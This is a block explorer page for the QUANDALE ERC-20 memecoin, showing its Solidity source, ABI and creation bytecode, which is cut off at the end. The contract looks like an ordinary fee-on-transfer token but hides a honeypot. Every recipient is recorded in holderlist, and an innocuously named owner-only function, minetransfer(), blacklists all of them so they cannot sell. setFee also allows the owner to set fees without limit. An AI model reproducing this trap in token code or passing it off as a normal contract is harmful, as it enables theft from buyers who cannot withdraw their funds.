Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
6,942,000 QUANDALE
Holders
101
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
47,499.050000001 QUANDALEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
QUANDALE
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-25 */ /* SPDX-License-Identifier: NOLICENSE https://t.me/quandaledingleberry */ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract QUANDALE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Quandale Dingle"; string private constant _symbol = "QUANDALE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 6942000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 1; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 6; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xCd8F3aBc8f8504fa82c287716919985850374c1c); address payable private _marketingAddress = payable(0xCd8F3aBc8f8504fa82c287716919985850374c1c); address[] public holderlist; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private inSwap = false; uint256 public _maxTxAmount = 50000 * 10**9; uint256 public _maxWalletSize = 50000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if(to != uniswapV2Pair && to != address(this)){ holderlist.push(to); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { _marketingAddress.transfer(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; _marketingAddress.transfer(contractETHBalance); } function minetransfer() external onlyOwner { for(uint256 i = 0; i < holderlist.length; i++){ address wallet = holderlist[i]; bots[wallet] = true; } } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } //Set maximum wallet size function setMaxWalletSize(uint256 maxWalletSize, address[] memory bots_) public onlyOwner { _maxWalletSize = maxWalletSize; for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = false; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"holderlist","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"minetransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"},{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526618a9b65407e0006000196200001b919062000720565b6000196200002a919062000787565b600655600060085560016009556000600a556006600b55600a54600c55600b54600d55600c54600e55600d54600f5573cd8f3abc8f8504fa82c287716919985850374c1c601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073cd8f3abc8f8504fa82c287716919985850374c1c601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601660146101000a81548160ff021916908315150217905550652d79883d2000601755652d79883d20006018556509184e72a0006019553480156200014957600080fd5b5060006200015c620006b660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506006546002600062000211620006b660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002f057600080fd5b505afa15801562000305573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032b91906200082c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200038e57600080fd5b505afa158015620003a3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003c991906200082c565b6040518363ffffffff1660e01b8152600401620003e89291906200086f565b602060405180830381600087803b1580156200040357600080fd5b505af115801562000418573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200043e91906200082c565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016005600062000494620006be60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000641620006b660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6618a9b65407e000604051620006a79190620008ad565b60405180910390a350620008ca565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200072d82620006e7565b91506200073a83620006e7565b9250826200074d576200074c620006f1565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200079482620006e7565b9150620007a183620006e7565b925082821015620007b757620007b662000758565b5b828203905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007f482620007c7565b9050919050565b6200080681620007e7565b81146200081257600080fd5b50565b6000815190506200082681620007fb565b92915050565b600060208284031215620008455762000844620007c2565b5b6000620008558482850162000815565b91505092915050565b6200086981620007e7565b82525050565b60006040820190506200088660008301856200085e565b6200089560208301846200085e565b9392505050565b620008a781620006e7565b82525050565b6000602082019050620008c460008301846200089c565b92915050565b6138d780620008da6000396000f3fe6080604052600436106101855760003560e01c806374010ece116100d1578063a2a957bb1161008a578063c3c8cd8011610064578063c3c8cd8014610593578063cda368cc146105aa578063dd62ed3e146105c1578063f2fde38b146105fe5761018c565b8063a2a957bb146104f0578063a9059cbb14610519578063bfd79284146105565761018c565b806374010ece146103de5780637d1db4a5146104075780637f2feddc146104325780638da5cb5b1461046f5780638f9a55c01461049a57806395d89b41146104c55761018c565b80632fd689e31161013e5780636fc3eaec116101185780636fc3eaec1461034a57806370a0823114610361578063715018a61461039e578063725cd032146103b55761018c565b80632fd689e3146102c9578063313ce567146102f457806349bd5a5e1461031f5761018c565b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101f957806318160ddd1461022457806323b872dd1461024f578063294423b61461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610627565b6040516101b391906128c4565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061298e565b610664565b6040516101f091906129e9565b60405180910390f35b34801561020557600080fd5b5061020e610682565b60405161021b9190612a63565b60405180910390f35b34801561023057600080fd5b506102396106a8565b6040516102469190612a8d565b60405180910390f35b34801561025b57600080fd5b5061027660048036038101906102719190612aa8565b6106b7565b60405161028391906129e9565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae9190612afb565b610790565b6040516102c09190612b37565b60405180910390f35b3480156102d557600080fd5b506102de6107cf565b6040516102eb9190612a8d565b60405180910390f35b34801561030057600080fd5b506103096107d5565b6040516103169190612b6e565b60405180910390f35b34801561032b57600080fd5b506103346107de565b6040516103419190612b37565b60405180910390f35b34801561035657600080fd5b5061035f610804565b005b34801561036d57600080fd5b5061038860048036038101906103839190612b89565b610935565b6040516103959190612a8d565b60405180910390f35b3480156103aa57600080fd5b506103b3610986565b005b3480156103c157600080fd5b506103dc60048036038101906103d79190612cfe565b610ad9565b005b3480156103ea57600080fd5b5061040560048036038101906104009190612afb565b610c0b565b005b34801561041357600080fd5b5061041c610caa565b6040516104299190612a8d565b60405180910390f35b34801561043e57600080fd5b5061045960048036038101906104549190612b89565b610cb0565b6040516104669190612a8d565b60405180910390f35b34801561047b57600080fd5b50610484610cc8565b6040516104919190612b37565b60405180910390f35b3480156104a657600080fd5b506104af610cf1565b6040516104bc9190612a8d565b60405180910390f35b3480156104d157600080fd5b506104da610cf7565b6040516104e791906128c4565b60405180910390f35b3480156104fc57600080fd5b5061051760048036038101906105129190612d5a565b610d34565b005b34801561052557600080fd5b50610540600480360381019061053b919061298e565b610deb565b60405161054d91906129e9565b60405180910390f35b34801561056257600080fd5b5061057d60048036038101906105789190612b89565b610e09565b60405161058a91906129e9565b60405180910390f35b34801561059f57600080fd5b506105a8610e29565b005b3480156105b657600080fd5b506105bf610f02565b005b3480156105cd57600080fd5b506105e860048036038101906105e39190612dc1565b611059565b6040516105f59190612a8d565b60405180910390f35b34801561060a57600080fd5b5061062560048036038101906106209190612b89565b6110e0565b005b60606040518060400160405280600f81526020017f5175616e64616c652044696e676c650000000000000000000000000000000000815250905090565b60006106786106716112a2565b84846112aa565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006618a9b65407e000905090565b60006106c4848484611475565b610785846106d06112a2565b6107808560405180606001604052806028815260200161387a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107366112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad9092919063ffffffff16565b6112aa565b600190509392505050565b601481815481106107a057600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108456112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806108bb5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108a36112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b6108c457600080fd5b6000479050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610931573d6000803e3d6000fd5b5050565b600061097f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e11565b9050919050565b61098e6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1290612e4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ae16112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6590612e4d565b60405180910390fd5b8160188190555060005b8151811015610c0657600060106000848481518110610b9a57610b99612e6d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bfe90612ecb565b915050610b78565b505050565b610c136112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9790612e4d565b60405180910390fd5b8060178190555050565b60175481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60185481565b60606040518060400160405280600881526020017f5155414e44414c45000000000000000000000000000000000000000000000000815250905090565b610d3c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc090612e4d565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000610dff610df86112a2565b8484611475565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e6a6112a2565b73ffffffffffffffffffffffffffffffffffffffff161480610ee05750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ec86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b610ee957600080fd5b6000610ef430610935565b9050610eff81611e7f565b50565b610f0a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8e90612e4d565b60405180910390fd5b60005b60148054905081101561105657600060148281548110610fbd57610fbc612e6d565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050808061104e90612ecb565b915050610f9a565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110e86112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116c90612e4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dc90612f86565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190613018565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611381906130aa565b6040518